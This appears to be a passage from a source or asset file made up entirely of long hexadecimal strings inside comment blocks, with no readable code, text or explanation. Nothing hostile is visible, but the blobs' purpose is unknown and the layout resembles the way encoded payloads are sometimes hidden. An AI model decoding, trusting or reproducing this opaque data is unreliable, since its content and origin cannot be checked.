82ff6b3a37cc4cad69996caadf80cc715a74cb3747c6583543a86cd6ac76afb1a55c9a1102972c7074745883e563850f707bb34cf668813c8aedd49658ef13d5c3d0ee6d2ccba348f6c8fbe4acd69df9bf520f1d122ca763c6935af57de790786a75371125b1b8e8d3a1b7edab062722de737e1603710750704d43ed1973ad75022ab3d22ec668fd356c77767a963de7d08ef6d77a11b9ce88114e606eef6c05d3652c1f501df601a36ee93a1112f4d20c5bc7b8bef524fcde5791a8b112c8907ba060ac5824501002b0a8c8080b0b184c2b8f9ce98f820601e68d55e96f25a3480f48878e234881196a5a09f3853ba12d5e1586a50c07f69ade804f9c6ac4d932008b5a0875fc55dc48b28726ae0a9d552753ce1531e6fab6848fd8e733e9073e70c82d29dbf1a5b982f2bee8d66da40a6c572190d955e183e1f8a71f418bfa844d5795461e99c2232b1a57b1bc732bda0ed846c1b92e6fa99fa49cd1cf6f41500b85ea98d227e8d7d753820eb671b1dfd46f6eb9e8158e400f7f133beb87099d61552f993756336665a8e565151199d34f15b4dcb5eb98822fde0fc08b8dcfcc32901d878c3532f5743cb4fd46f59a1a37c7992de738770b200971d5163fbe04f51198552fd32c39c3b30777d5c21d8836d24dc1e04d247fbaba016ed76cc48beb9ea4f8f0e76367dd896e626a6d18dc5a984a00e5cadfb4b0ef942043d471224f43a8071ab673306ecf5610c1e2de2920d16df78ab4d7b788076fc980220519722f1d1fac61896875a29ea49e6c34573990bcea65a08451ac2ff5db4e38e0d1a8bffdd3fbb92c7ad3b2ae123c2474fdcd14d24896d2e3a666c92b039bff12296660ab1aef967ee1ad77edba8c28e22344c713766041b73003f5c0fc442844efb1e64ac9e95561a12b7d28c14a3e320e6ada6d688eed9a78b9c11d0f78bfdf5c8ef6ebf0bad27e039893a2bfea5e9e95d87379317852f9fafce56fff2203d390794e4998c3e9e4fb1a2b3b9e1399df267cad9458a50573291f166ae32327ac3475ea9d06de5371613ad4ec8b84abc9786eec4e0ab3f16b3f8e94c16682fd48823524089e305d9c39dcdefb978fdcdcd7cc83c222f3df32688a6261da7a9d51761ebf15faad2c92aa98789dca3abfc847b1009266d5db74527cbcfdc331bd0949c05925a94c3f41af9db410d491ccca186ec012e8abb16638ca1d4767f32fa2f37a30e5e9aa7515c20ea7c4bf0e9e65e1443f240c163ffb828e65400bebd9a6ab98dfdaf58f8a506dc355e9bc091a74371f31527b4907e36536aabc888c747668ba1aefbbc4aee76e8bed6cc3c46270e536315a525260c8b9f45ea83a542eea47a05e529018c224eb8ea99c88072e62b5f51fa5a4603573a90d265960d8d07fb33e0a3a2b83379e560ea4a877bd70e70f79fa7b8be44edccd48034dc21bcb899f44911e9569a301570547d6943cff31de3095bed9174ede88334d87939baf10aa542c230de6cd185deb6286c5c65e8c3c7ccaecbf02ce4624b7d72e77604f9a648cc7232ba52f504eb8c1fb9c232f3373a4bea3bb1e5538489a8a40659045f11040aa81c61eccf5c73dac96f3d917cc5250569391c63970a2b9845696d89d88c39953b8e08b23ed1ec4fb98e9eeff1cef2d4263c21524566a45fe6f1a6015e2b7d1a3182bc523dedb16473661699284e491e4c1b26b8096503e3998a7c05c38fa13e25973ff08c31dc44da8e592e90ff32b31cbaef3f8288792f4f0d19b7e70f10a57bdd8647c9a4b05263eed4efb7862e90c6d4c1688812e7e45a9f9ecb2377e1cb99147a9e1429e77c553479e29c2033665036268714ec62595d28005c32e60e95d15d3c858cb063d7782865ebf1024bb2db9caea149d964fac85a5dc630248ae2594ede99b440b34bbdbe20d81c75ae20777eed329e2f4b5054fb209dc7e306d650e399f96af1e6777d14209030753530ad0edbbefc392fe58645c817ce*/
/*96f4e61ae4600e717ddcc9c4de646cff60db2ae1398041e84b7097201276bdac105f24f1ef020ac2bfe4cf1c3b9f732535482e835399acb8e0c2a9c7db505110dfe02718ff56e128deef8a11d6a3f277a8762e7c21794064e290de050cd070ac41b9bc0c640c879ff8ad6fe40fa096f35b412a5a50cb93ff84376021959214ecb6ec23e9d67e0c78a82e804c302e319879e5f4781e9b850d3c75c672174ae16c351e41a1d77797e56472201832c02ad9a60f8bf25c2492a9afa093f55b9e963909bf9b8adc973067b43b7ce6b52a2b674cbe2bbceb9c4be868ef256d9fdfa0e0f98ad0f63375549a5375ada153a45e6cfeb647d06dd09c322e5f8d55c442568e533959f59af2160633e4ce9d2984d2dd63beeae6374dd58d86d111252ff1af7a7e546cbf4cd56845061872164e6506b7e2b60e26a790fe869575e19b53c5ad18d7643f7b87585abdafdb8b8cfaca85bfbc8fb9b4f0e63e1cd68c7a0ef5490503c9d81e0ad7e0764879ecd6dea99707d06913d69a8040220ecf314b7f65a2b59a47cb110ed7b565737bc31827944b17353133dc0f5a1d6642c952a44a8c8ae84ea61914c9d1b215f61ed5e502a5fce15f06343778f546deca8b03d3bb0570f792f365d3850a87e83096212289062aa653269d21c6477f8e7119fab996226407eff67d1e9331ed78757a8f784604708bfd78ec5693292fb4fbad63f7e2947178d0cfa854fe21570b46c38eef4a670f6e2482cf911e3cc342c1d563648d03b6ce10c4ec1565f903a4bd3b687a9d56989f161eafaacfa72adc69a161d9d1570c51f3bbf74454d18f62173ac3ed35d8e5a9bc5ffa9328aebb487339558cc644f81bdfc95b27640028474c73422310a81ea88a7293862071992c73909c3728a8220c14c30067d6185561e547f2cf4fa8b685ffd2b864e23c6c398c62894fc27709364024e1b8eab53939c6d217cef704bbebb0748848288996888abf947c3ee12400b8614356278036b80e27e29408d96b676fe5f9ff62979d814aff2f9c8525c12336b5906bb1ccf1ba0b9299e9a1a3eabfd0334ef69044f2a370435bea2a86a83c85e0d9d8ca3344d5c3594ed5c26c1a15f7f9a1388c1df2ecc1ad401b59677b3b3e57c3c6e3e307444e991ef0a081abbb3eff186edd6d213e5e9a39eb50d700a6af004c7b9551054ce439e968b589997699cb6614e7ba28afe8ab60578cac31765f489083986e3ae78fc38faa088d4a12cf47e077188a8639d18a8a821cc301baa55595944821926b84a8b07fd909ca2bc44c21ff4c025e850ceb226a897c771e607d639b8bc0b326f9533e958c0725bc8926fd925b0e32811073d17b4b1583f944380de860eb34b42ba83e9773b6d0dc43eec2095e61fc67a17ed3077caf15ceccdb24d45f152ba6937f25d27f4acc558bdb18ef6cbf97fbe97a81a51434c3bcd6b1dffd8d075ab2660c2305d21c58611b95b8c26230f1fa901e7496c699ca47c57622815e1244369de60e876102d11ca7588527f0667ba9c23a56c8c4bb365c55766397629d6d6bc724eaa3500488d657b0f1a5f0de1311068a1e02584d9bb6ca75b9f895dff223d9378afe291b9b6bde8942b12247cbff187eaa26f557be400e4a5ad8dc3a366c4e04fc4efe492cc9aa6f62b2dfefe97740957674eac9ab882ba39f933cff569a7d313440b673c8546794cbbe830fb3eb62b87dad673a8ec4be5340b935eacc9972c4af89cd296019bfb68bfaeddc74c6aab45c840600c2d5c67be6ad5095442d51125ad4318bc03032b705b738636317ea2d254e4ab0f32c9dd206b4d569870246afecc532f0b80c825fe864c8eacd717651ad20f837fc009dca7da776ecee122fa5ead1c62b74808a2d5714e8b33243b3f32c1a9e498ee99e9a91cf5feb418cbecf21d947deca5caf900c3e330979e4ff6ec909fe89ba65ff99ae38a87ff6b08df1adeb10728267bd096a16e41c1023b770632c771e2905f641923e31671ffb6b53cba0cea901e76518956b35c4a647bb822731fa3fababd57e5185ec34dc7e31a069658d142d3b4dd0a279f096362ef92f1e12af12b302b8a50935c243dae08714ec094629af937ee0bc2c488b91662b13258b8cb64c07f09b19320a82c7d23b58effb3c314b61959a11cfb5f8439dba4af6cde5b923fc19154e579b527e8510440e89b9e12bc99830654e79e572392403343284ea5985ecfadd185c82f0e20e83329399df41f4667000dd3b88daf519d78ed39990e697f286752cfab082f52512eb3e39e68f81ec8b21ca2e7760fd4e84b0472d6f51d5b6488e066ebde3fba11ff50cf8cc007b42280b07ab524dc20d6c52a1a44cd10fa651163f1586983fb326fb6de3e2c66f837dc916b05f164b836eea422cda0e4ced9de902e7ca8b29f8e90f652666c8a00425bc4dd2b3d38f832a96e2d93093e94390d45e0e80f5e0e5c089a5316cc9b98572ff87e5c30ecbeb847678e9c777c0e96ca4d850c59f0a263720c45e11e1f34bb77b5309e56b410abe159bf3e6a39485b5987db19e245c7104eb004171191175cba6353cd1c205a9747a166533f4980145304b884c2e81f288fc4825089e1dae9cdcc01c40792b29c3112203940ce85f631094968b64312d1ddfe38e1fad916cf3a7e437876b84c20f5847b50f6e8cc6ffdc863cd52cbce69973558be8d24c17aa33df282c96e57e0662339dc4836aeb99f4689aad19e4793aca5c586b9aa34e06988eac5d1ca776a7177f3be67e70efc3d5df8a7046fb72d1e18e46cd8f3c045df1974daec825a3cf166c3d49c630ffc68421ceb7b48a7725841eac079cff42*/
/*b48d02472e9ffd95cbfde90a033babdf95e36151533f26377e35a549d4aef21b221cb7fa89fb237b60c8d2464bf60336e31217d73d37f76ee849deca36820e27861ec7d095a681f6f5809c1ad666f9a065e1446e3529dc476b0293d6aaf351b892ccfb0f6152d9c789743b223e5a910602d736150ca69e0879421a85c271e599482a4e453aef5dc3be77d29c776f78146c9723882a94eecf5203d31b208185bc14be4a110a60ff9d2836b368498fdd3f42e1af86e7dbebce3ff74b39ce23db81a31f33741edf407fe10dde3c36bf8c7e24d28321dcb7720d625a8c16f71a099f9f4d0cc2b11b0fb8ecd97beaa90d638f3c0c5256ded135a9bbe9af4d8685f10e72f9a40150368d3990c516839011f9face7576d6eaf67609832e6d918c6fb7047a15b918026fe8784ad792143d568b50d1fffeb8d724a2731633dcd94cc665b4cbb500b7eeaefa22448c259c783e4b4b54ebd2b02fedebe22f389874d0f715a5229027ff0e57c3a52358e49a526946e92d362c9c2ca321d3a1bcd2e71dea105a2569ae84725b380e9e04d94f333bb58b2a83f8ac03344b06d6a813eab3a5d7a1412e5f9619e59c41fa260af4806eab7a06d4e44d34994980b7d6d0bd22b70657634a105280031382029702266f8263cbe83eb25312a67163e5e3332989633bf1184833bb4f19da5fe09da52130588cc7a0429e38dfa2f5f8178cc6408a70f2d200d9d649cc4c63563b659c3fd4a056c85feecdf648382d2cd273d977faacfed6ae70926b919bbcc1df9af9f8a1074b12a1764861939dfab073140645f487a41a93ffca175498d38e6b9fbb9dcb53f65e43881acbfba23bb7291bab39d16378c014f825b6a38fbb7fd23dd4af9467c248b373d6e25bf9c8f5f9ef6034624fcee97250c2a6ce48948ed1fd2211cbb6c4965cf284e11f278cd67fd5968843cad9b3f7a72103b0ea402a60073842888bbe4f0c2a665173121dac909b624b8f90de27ec2dfebd867d577de51d41fab9a1948522180f32a4d4957c0576d3f930c55e2d690d812b7b860e9390ab099277f923f6a188f64a33996d28e54fd3b988128c80d2dc8655a189c695c44ba92452cf89d46fbce96847de825da71415e5176aae68afcd7d033fff341ddb6cbe2a8ca0e7b03ae5aeeeaba1476ea6ab230ff9ecb0ecc558e390f3f934c2e939060ac06fb63e1477f43f15981a9baa096c8a1e629437fe2a88bbcb2b8d482f0ffca415cdc9e709250eb0b369a929b94c4e86d97f2e9268364888d5d00c94c0bec89f38934c39800df2e7be754a9cf5b917bdd1ae847c05255d9f21399b28de30b18f629398cc831d382f34e40ac15e1b5cd0051d68e0e08354fc79c89908f0f53c60b05a57bb48b2708897a99c59ea465c1495dc2258c2d79fe50e47f374d41c96698641712ea7d345e704f526b89eb5f42c4d365bcb4f862523c0d8deb18376a81d8942feb6840a41a33afafb89dbae67cf8cb44dc233e10c023e8e9b5627e7396f126a5616eccd8ebd82ec0d9941e731dc9b059b61b0587881dc18f31ed450246f551ad976fb41fc1a8794dae45ff16194204b7e5623df94f8095dbab0cbaf7baf2cd19b1a05feb0e971b052d0e809a32bdacc1b2c6d31fa0b7c1b9efc17b5fea39b01843f660430b109bd5f9b9f78f96e9f05b68ae109596544bd92bb304e36703c9f680570267ae1a1ba5fa6fd6643e1e64d99f08e5312a6232c94b09888c1887cbb7616f692fb1df1c9bc1df03d4aafc051b1dfd68df5e340fcf101064ae18c957290b6e052409e2c21c198ba02fb9cc9bd77778d53da5cc33a1bf9ef3d318c5efa80ff50250b2f24e355af10af001537bbdac78bcf6aa7e39c4d0a4703b9a0c248bf3ff59c2a444ed10cad4a625472655d91414bc7f2dd5e00a1efbf254f54e5bf955ecec7871aa3416e7103915dbfc790daa0ddff68ba2b1d83019bc2acfd9b283d3ad80d14bb80ff851bf25141f175c3a3e4edc7fd3b5b22cef4d8674352a61ff3701244d6a42836b85cd683a40197c798d47958fa3830e0424381f50d012cb1a1af933a89b8027282321651dce400768ca1eda1019055539aa841db3961f279320c99a4766213dce48fa0707ed0c04b02778ee040a2442e9a1fa9f34328cc39384d9d2c35ba6aec5a8da2ead2e833d678855536c21de7b631d46f66c82d1642425f56aee13035a7d10d46884ae0c8e9e479ae49f99f13737adac5ec416ec056d7214c523a210fb97c6fc30bb88940046292bf90f4a5c3033c7da89e1c0d7d9a404f9ecf009debd8ec2c2c1bb7ecf654f36df6f1b27722ba847c0b04d710fc1bb6be4f3fbce8be5522c6b99cda1ea84b50cd4e65f5068230aa2cc3785bc5b2e4638d79b36dd5d8dffc5dfe630eab00f3f43cab986db13330a41678d9bb9af523255c1d801c43420fe84039eceb000148779df6b5b6050769e0410ef4598abc899b671ec96f07290eaa360c75e9de3ee095d52e639e1627a5c157c093f1a442b499e21b81ec2235b43d71634308d500a9f42f639af225614e9730435742f5e2a36d52a747265bde4d12a229dc057a0f1cffb4397cfee699bf941fcbc8d758e7e136e63a4d6ed2532ddeb1ee0a71423089db133acedafdcd2e1bae4f140a3cb9506ed34ed77c858a305a1f6bb85a15963e64c08230f3c2d5ec61bb25615f1b8a8116ae68187acd888326cc2256749ded2a7526e0403249ff9bbafcd8e42c14a3b7832b726aac236243761bb89b62cc6842ab4f81511217701de02a0527105a54ce5f41c32c1661cf3c0d5ea5d3173e7b4720b59645320c8c85d10461935984222538f4*/
/*f76982cdb7c092130b5daa7b4aa9326cb947f21d9d95dfac8e353f5b59e12ea027c13910e2034eb6d277317bf3e25ef93b32e2571a1c0d6d7f5e9f5ce2743df7cdef63b4b0e8f4d6865147eab32caba99f5eede24f13e602099220732175579a6109a931856ce0c7979013feec21db3a12b28711dc0029f6284d22eb6fbae472c40ff7dc715217fa35916243a87f0827351c0f5905a687d51170687f8164667ff1f5b40d5ac5d1be3d8a2b21f5eef6e2ba3296b8f8e487904b1cc59f37b8253f81a289a05c0cbe6cce76c808f2c35a26ee92523eb484714437f971cb527ec3ef7653440c0a1997f829481dab7bd38f854daa313fabf0a686da63ee97a63db6a558563600b7141fcbf19e2dc8236dd26feb1abd0c84f6828cc762ce7c54d373481809a47914e548aa1effae9abf23c368b07c0274c289fd1365e16592865d1fb98bbd267bcfd3c6493ae2c4b84746035d5afbbaca56ccf96fa6c1b7734bc4fd05436da98ad62d7653436c1e3138ede76583db53adc0f439d84aac64da2b521f9f73a9926569067b20d3c26c84dd3c21321cef3739c3aa51480c7bef053b69d425d73c7020938161942633718a6f376d8d84a1e6210817ab49c362c49971c67b0f20b54eba132ef110b809a88da1d91b560c01be0981c03709d5281e4dbd3d5c7bbb3db8e8da0839e7a86ac98355595d49b2b8dd638206e48540262b45b0654bf7e41084ddadca2b51e1535978f37ae313df8ab24b78e72df7e51b497f0a4083368dc8d3f8d1745aea188584e986e209a4a5ca644b21f4523b3eba7b92200b35e29a3d259c46bf147db84b3587c0ea7a0353e91c562d5d030634e1643ebfe58b91cc735bca2836cb2853dcaac2b60e82fe3bc3378e920cf41f3fde9ffa16e912e15918b7873cafc8413fb0cc28ec24c422a3c8aeacc050168cd8816dbff53973492889e01f224183e2130077e14198f71d49233a58c579095b5813a6b4bb112016f824bb0b5f60ab576d03fc5d52c3211880bf819645578a08c0b923168dc82d4519f72c85245a2d4133bd25a5681c99334af1b7f32898170b7921ad5dfce8e69f466702a70240a6c59b787d6b17f97e20f5ff25a6bc9a6f8a1743a168b0150c04aed0633a2f1bc5e6ad197853117fae7a26d00a6d6ecdf1614689bd14db54b2f93904f845ffa67d863e7c5cd7f4a5d6b432e3e9a9d20b455ab506cfd0ba361997ac3a33bb09de48e656110f12a634b4aed0abf076c3c0ce770dd90ec3d13a7dabdfdb545deb81f6cc3d71de207a5bd38b884f960803816ba6fa765abf488b1ef97752a2ecc09e315a74f40c2f3306689078405623acf7c5854912e0aecf580f54e9e97e21e0ff4f5524a278a5c85f8bfd00ce18e04cc8f7811249adde1a4bd0d12bbe16a2cff74c4b29cfb34dc60a4848813089d865991c5624b90a490c1890f42c3d90c5ad254907fa1b6a8c250d95c218685c3923db21a04efa62ac3475fa11c4f0262262bcca340fa146d85dd71edb0a2c273b8833fe442441b59bac725a7e5efbf48280394f5727f2f70a00e5d29b99616935448faf68c2aac71bed7ed0b54402370020e60fb1b79b06ffa349c66fb58637af0171ea0dfa3d0aa8095cdbd8b722416d3654a8eaada42e3a0c8bf1c7f4d3244270a31788824530172d6c800e6f55e7900baab365d700d0d5a310060da12f7590fdd7ee496e7d9d846893c5de5925fe4f7ca2bd1e5791e49c408b2edf3bfa73d3050b9ecfa3505a731734ac5afe918d69129fbb7f0136be4dfad31904aa98242e612b651246649b50a276d09d3014615fe0ce7558c5574b60008dfce3c48e43b76415dff006b99c9660b005fc45965ab0be726ab27907c77da368c9395e43052b4ddb98dacb11cbac771309b80ecd1bd792a3d819476d673dd3eb0fdd9c2a9f5d03b13bebe89793efd5595e612fd4c86b64ed1f162eb51864dd8828c96470daccfcf179ee6e9bf71487d117dfde536ee3eafb549df85dcef2fa81b0d643f43eeb1601b1251a45fb410297ef81800da866dd93c04f92deaa0c5d1fc1bde1d1543d6f57992b0d98d9a22bef11ea14bbb426473ad88996e00527a7388222d380021c76e371e96ab26362c769035164eefa8f56a18ed7441020b7a65e484203e6d2954187aef77d7a7b19d28372885b7612beaa2cc5c73cff54e763ff7624c67ca29b5c40ea4e36f8fb0b8d1920b9afae7f09a41b440ea38067b1843f51462488e95522a39cdf24e9800bcdd1ebe7b7385db63a72f8690681ad03ae768cb93bd9138a52b160197bfced0ae6dcb927c75385c4cf38d7d073ebff4e3b109c4b2feaf44d3864fd8e077de3230b418c343191a42aa325786c1a34c770c14285a76beb7b3d9d2c13aeea13802194f5aed39d8d92d8a65c6346a5412aea0a1d1557b45bddd2d751c2c76d46a9cda65f673bac044fe7adce82ea9a18a09315714731f69cae7183dc7a42dc3033f40eadc5c88c30ca09598d3335f731e6293283ff2d39efe3b65ae1a4b4cc2bfd124d9a082a958c33a0057f03cf60d86277cd94d80796c6bb681508b4027051a1a25126a8ab84ddeedc3dd402136a5dfdcd825acabd327e7bf2512acf60fd94a0d3480dcdf38836569c106006848c5afe4d5c806faf581adca843117a3da532c17801a8b3644a1c678561d498bd18c2d0ab26c62adb29ebbf9e865d8bc9a17fec2309b7d10b988c470ed8b1b57e72f259b3b77026a3264d331c3ca26259d3a44c66282c9e45245f07ed00d77797feb3196ad37f8d2f5698b7fb1d1eed5a66fc8f858bc6b011c5a0e600d248d514980bd2a270215490*/
/*2edcfd8cecd258c03f633e0616621dddfd0053811d028a4ef76ea8dfa8f8f1ce9a3bd5359d8b2de8961582e45f80824510370a87c23087bfd87f48a58af96d266151a0d2e4995ba1c35d38879103f48d47240a6c3935cb2fd6a5d2c58aec230945adee7c58d7a2d5adc8c50812727a441a13083d197bb4176601d3ced9a4d85c5bfe4451fa9187ae744763c5025ff624fca464e3ef87819f5ab884bcc3514adfc6861cda40a487ca99f97266044e0f482bd7ff9905830027702b1a554db161a42263424dc2da1021ed405fd622e3bff3260a10b4f4b655e50eeb2f8ad67c83c709d8f54ebf9b3b0d9b372cc58d375ee901512c3451e54d7235bf72dddad51d140d02e5bed0902a61e734fac1e23211ce1b4eb9e23b931ec36e03667e87684c9e8c802ef0853588baf6818318a50fa6650df11fcddff6254f3720a13a70419d9af8602193648e5aad38bc3c01401d41f75f1f62479b5e4a1afd62967113977f0b250b45ad59c17bc34e570d4b51daf1fba7897f74d843642b9fb089a76884d6d5c1013c8059ba8703fa9f9616a4682e9fad5ca18cae9c78194d8983a274152fb34010cdaa8823429e2b41e573a5813eb5a15fc8bb83d671dacccaaa42dd4e3f53e9668b3e79663236b5338e395e7349b16ae052c638aff32ce9842914e0715de4108804e97d5b04696f2b5b645f16795eed607efb7d91f412449fc61ec4e9595e646709660314aa726c483efb93c549771c398c1893d39c11624af64b7092a470440af6c53f8400afd39103b3d37dfaccc571abd2594b69adcbd8f1217aabc2d66ad1993dd6983b5ee82ce152a07ae3ee88e7d7e2c2b7875aea32a0fc82e7206afc870125abc55c39a535208389f03398a0cd1c083000c86aebcb57478481de60fd0c3937221a15be29413d60b9678b774ae8017691e84ee68529dc47d2f8d67d0a1efe902ebf614283121afdb28b2decb006dbe13d306c3ddc6d6f5d2f539e639d4bdbe336ab77a4a0cb40f83bec4ac1b9cb9008ec0eab4eb37d1253a42494801b8717bfd09f2c56672eebe9f54cd872f918383fb888113493c48e3c3ab1ab5fdfcfcf8bb6c619554179f472b292cbc2ed4da304fcc88e83f0b0c704b8f7e18cf801065a3e2d4c9aa12971ff8d985dc60789825beebce461c1563c6038f6e1884cab6dafcee28dae1818ffabd01bc45536ba02122199e7895ab6032640361a295bffc133c684df7611343dff5aeb1050ec0481f95e91ff25514729f822109b06579b344283fdb30168e831e883b347ff2815a6e9676b644484cc913308a5db2d3d11c745977381d5a7f8e7641d186a80c23d869ec1d62474e94c8da210ac2e7018f6fcfdd26dd7645b453b8e718cac51376561fe7f37825ea375a0809011d1eae42e4cab44ec79fe7d68dccb02b9e30f5e71e6bde02aaf82d19925b52aac28c3dd6ff65255118ced3bebd6a5b8ef128eddac33a30fed873fff3e2f409a8671c57c2ff99de5e75dfa04a73d058b08fde0eb3f6130f2607523a991bf81da750048b73ccd8accae4b656fff2d00d9868ec633181e9283a185966e1f266add1b72ba6135b7803132524092514e01e606d606ae368c51b958308580bb5ca93f48f1301d361e080e00ed846f2beb88a4376f710e855c5b5942f28959c40491c352ec13adde66fe4c4a697aeabf121cd719815ee16f05fffc5d34dc42a0e2d70d5e624af7d8400fad046cf12133b5881c78ee628cc74af0aaf5827b155529bd083392582658e020390b939f32833254eb9c12a06f19b861a9e1df59f56f1102b3adbd3bc9df4542be6067b4c2ac8ebd814bf4686b636846d33fcfc78da744710cbcbd1aa309368e71fd4e5ec1a8dbf27c095ab7d95b609cf638e54d04dd5d2db1decef3a81c2a5a78dc6128b30ade1f917427d7cabf6a49dac31febf95fe515ad29affc172a72517c396978f0acccb78552c8beb8b08df55dd675127821c6b033adcb4995a9565050d2d473d5c8e719b1542514ed162a2fcbafe63dc1fe2f8c2ebb8fcd265af20567bcd0446489ce0d202080265b596c9d2d80473dfa41f291ed719147533d387e1d4643b00770c5b06cd1a370127ac22631fbde0e59b0147977d4c3d9dda879edba6c283b2fda8f98a73b2c6cbfc5a05558cf4b9a330a5350b468b53aa78d61f4f7e5adf3c798370eb690fa547280a5a2fe6d66ceb9d5700bce06e5c6a57c739edb17db87bc7f62c875962b56dbd585b792bd096568cde83dd57ce8857b60fef8ab02de3ed33bf23d49d67a3a7d19f7b00c1dbf6904120ba00ebff05134ff32dd2a4bcfd585777ca5f0c924a2531385951def6f2cb0c47a7a27d2283dd9e37b101dde4f0d2de351969ae2606ffe6f1aca9edb1cd29a02301245b89f789cd21bf48772afea136b85bfee82c8642f7c961dc613d14fd70525aa1dea407e17aabc7e294f37e828b756f32dbe9bfc95fbbbfde6bff991053d301c6ed0b0fb752b7f64435b736148eafb8cf661584f4cfc82f67a4501df04ca92a6b95bf3abc8011b8d450a6632988b3766cf8082c3cd5c5482601b554aa1b6d08921894f5f9d01c8eeb4147f510ff73e41a916a1b90df12a79486a2aabb0f446af74457b28cff27e6168cca9be8858586b079cd936c6a7a7d068350d8518936fede871ea0c81d0b95cea7afed67a14faa14c6dafb4a617a60c90283946198affffbd48ad18f10a989366e089c3b9a70bcfe12fb9092184bf97e7898f07b88cce921ed856f3d7813c15afb0c5800c71ae7cd1b0c685e38013f122f6f90540eae6e3572256add063a9c0cd987354b658b20f30b611c7*/
/*8a18671328fa60c6d3578e0fe6eee34f81187c5db4f1553c71274b01a604494a9b75bc779fa85eb72c637965e116b22e6611395ed4c36ac6c1edd9f7f4a1db5be3e0a10e07282ba371e3601764896fddc32824629568846a97c0f74bd68ac9b83f5f743c08e05885ea2037f476609ae4c271485754578d806400ae7cf594863429228061b6f7e58a134104257c52bf7c743da5da5b48872e1d401b1f7f57dd62c85593096888edafc46bd4d5021924c489f22d2c02956e98bd712237d86561de6bd2fdd3ed4f704cdf4440bd8d6eb62cc0afe5eebf275dd9ccbe70c7c4816d84668c827123b7e74616de039005c7a34621cec4eb13f960f21567036ff89f4162ef5c2a46f4414d091632d6f234ea51079233927d3295de5306a07d810a8f9c76016aac0926618a1c2a32e669a59f0d1665f56cc5bb8572f11956e0744eca8a4e88b8542adbeb3b566661326c35b34f1bfa8cce8fff9cbd5b96c2fb6c803b6bb1fdd0a2b9513b367bf0a4c5fc6fe5ff5003a6156de9784e20acf52fce78e5a88f7807fe4ecb605eecdd6b382e18f2e63a000b400078b4c1429aa039003e51f0a6936633e546fec50c0841909bd965b2ad0d8ddf6bf4f96ded3e9cebbf8064f5d4f9c92fafac89bb39177c558df1cd07d09e4dadcf6dfc6fbe4c26e1df8ffd1f7db0fd0aa959cb84b42a6554f9c46cfad3c7deeb5e55437f16ffb1175d06201a47e998efaa34c3c1e09906a7848a695c30393430e7bce8c111d19afb147e7bb93aa5b7d29efa1a9940e5eba1f4baa81e59e556d45e26c461ee3c5693b5c15ab8a95184aa7410a4bf75d1a3fcf7ef1c20a28e3e33c0c9990995045391f692f7a33933a342761dfda5b04098c02e538c543bdcb31145b9aec9eb51468f0ee30bc60bf5c084ce8ecebef63a1318a5b72cc25b937c44b984fccac01ab93206956ffc9a137fcee5ca34353e4cb71184b47a95f36ce2a7a393e5c4abc9c8bd2966c6d33cd3fa4abe72c3859c4508e465a69336ee8f34f1c7941af20106bcf5e5e20994b3c3335523828e72cbcb358d769fbad645f8a3ba8a89e991c47421a0997414b9d93fea1ffa8210efb7ba7f9021eda06052dc60f23f53f79672001f1e2324ba3a9d48728b752c156f4f86575d334c915b46fcdf0c26ea2344dbbab7def10db848ddb4bed468ce80835e691c7ba93b35e424d8a9c1805b5898a4f0258756663c8fb53eb194375213db6d086e30a8dcfad107e7ba7023a65afed28ac990e0917b0e954eff200a40e411985bcfd4be751929133f99c426a2a4451687061d4ee69eddbd0b43f7ac2c6a600694e90d7ffc1ed0e34a9da4326519ce00153a1e80cbecd92f07b3606d3b4970e4f0f603e5dc6cc936262fff9a2cd7708075b2799f88d81f1691ee6343d70a1da65b6a5bd9fe75dfa43130ae91e7158d9f669cb766d4a22858e45f07e111e8d1359fcd75b4e015df3d9194532304f6a34caa5d48bd59ac32c684f80f672c0c5794a5d1ac818738756c346fbbe1ade83596302abac6bbe23f52a4363ca1180e935746c9ef700277c2abd913a7c0554f1779ac055be860db612a5063478b087f1a79ec888a6733fa9b8b342f99d423247a894dc83d12ea1f6601706d44d14357662b6e714d48c85cc0136da0ce1dffec72ae3f8ff4a764d614aa8f4907476214e529a95df86ba953468c4f4bef50b37e9a31c39e08e7aa19741c41e847805cf1c67f183d4fbd285357af828617d2be3b4b3ec4f6f52a79223ea272d173f5c77919aa3b13c27f08e35583c1e401ca0a12565838a909f16490eac3b3f8a0e8913d5e7651bfde4a13c4f7039e5885494ea7da931d4e2a478d50a4a64b4a7bffbed24841a63a358f7106c7308f59b5c75c0caccab800c6496acaf1909f321bc7d02f7a7479935b17bef6c4b2817c8781f029b63a25d28947702ce61cb6307f6d00fecf9e1d1614f84b04f3ad79cc921fb608630eddd7775d651533c75bb56ab49a9c040a22369fdedd061b25aa7ff5ba9683b04e1ecd54404c0f28425065224eb9a55249e89191b6fabd8722914cad68a1ba9f8e122c52deb53d406f893366475bbac6a91b8bd8ddc597820d837560ba91095ecb4133d8daf934a5dbc8a742c1135e484f7627a977f88b314f4a0cd1d4b0df07436556bdad1a4bfb3abe2f8e50e0e25cfc04f954bcb5dc18db76cfcb5c5d7abe665469abee63d08b4db2a0f68f586554797f6f658df82c0cad136db59b92612e040defbc2295636b6ea0a7e1074b860c25d3184529818408859f003489edb5dac516d3365aecc87f74a44595aac4864c1b9f265f52b4e4fe101302b02a6e53751edc63d1eda5747cf36cdc820e907bf08a2048d779f27477557a573a5375942b9f741eeb45c402fa5dd61bfa8e2c828370f92eae85c3a699a5ee3924053381a3100bb48eca9b54f8f422c68e539f9fecabd67c2d1a7d7734238cd663eccba404981a27496c836c8e5d1674a6ed82f8b06a74efec152545beab20ff94f816f0eaffe089489c5f748bfbdb0cc558c5cde063c0e5f5628957f4c8e0c3d7535445d4f2a31db5e1464559170241d9389e9e0664909126f49f8f353c6ecea7825c0ff3022af591d2057c40f1f697820233dcfd878c82cf09bb1956c60dc5eec8bd4b709474f650e73674e8a917bad716dda357bfbbef1565c41242d57d46a7e0352592434bf767f29832276b61feebc5b36585e930b082bd760f7a36004008ce5ab8891338158d2af2e4dcee900402e71ce21a45eaced6c2ff4420e62203b49bfbcdb6a01b27f633bc1acc180d931d81dfe999336dd61be4774958a7*/
